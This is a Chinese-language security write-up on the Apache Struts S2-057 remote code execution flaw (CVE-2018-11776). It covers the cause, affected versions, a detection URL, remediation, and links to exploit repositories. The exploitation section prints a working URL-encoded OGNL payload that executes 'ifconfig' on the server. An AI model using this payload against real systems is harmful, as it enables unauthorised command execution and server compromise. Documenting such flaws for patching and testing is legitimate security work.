1.漏洞描述
Apache Struts框架是一个基于 Java Servlets,JavaBeans, 和 JavaServer Pages (JSP)的Web应用框架的开源项目,Struts基于Model-View-Controller (MVC)的设计模式,可以用来构件复杂的Web应用。它允许我们分解一个应用程序的商业逻辑、控制逻辑和表现逻辑的代码,使它的重用性和维护性更好。Struts框架是Jakarta工程的一部分,由Apache软件基金会管理。 定义struts-actionchaining.xml配置时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生。
# 2.漏洞原理
当struts.mapper.alwaysSelectFullNamespace设置为true,并且package标签页以及result的param标签页的namespace值的缺失,或使用了通配符时可造成namespace被控制,最终namespace会被带入OGNL语句执行,从而产生远程代码执行漏洞
# 3.影响范围
Apache Struts 2.3 – Struts 2.3.34
Apache Struts 2.5 – Struts 2.5.16
# 4.漏洞利用
触发此漏洞的前提是:
1,使用了Struts 2.3 - Struts 2.3.34,Struts 2.5 - Struts 2.5.16版本的Struts2的框架
2.struts-actionchaining.xml配置文件中的中没有为namespace赋值,并且配置了重定向
测试是否存在漏洞http://172.26.1.151:8080/struts2-showcase/${(111+111)}/actionChain1.action
访问触发OGNL表达式,url变为/222/,存在漏洞。
漏洞利用,执行“ifconfig”
/%24%7B%28%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23w%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ifconfig%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/actionChain1.action
# 5.漏洞防御
• 目前Apache官方已经在发布的新版本中修复了该漏洞,建议用户及时下载最新版本(2.3.35或2.5.17版本)。 http://archive.apache.org/dist/struts/
• 官方提供的临时解决方案:当上层动作配置中没有设置或使用通配符namespace时,验证所有XML配置中的namespace,同时在JSP中验证所有url标签的value和action。
# 6.Reference
https://github.com/Ivan1ee/struts2-057-exp/ https://github.com/brianwrf/S2-057-CVE-2018-11776 https://www.freebuf.com/vuls/182101.html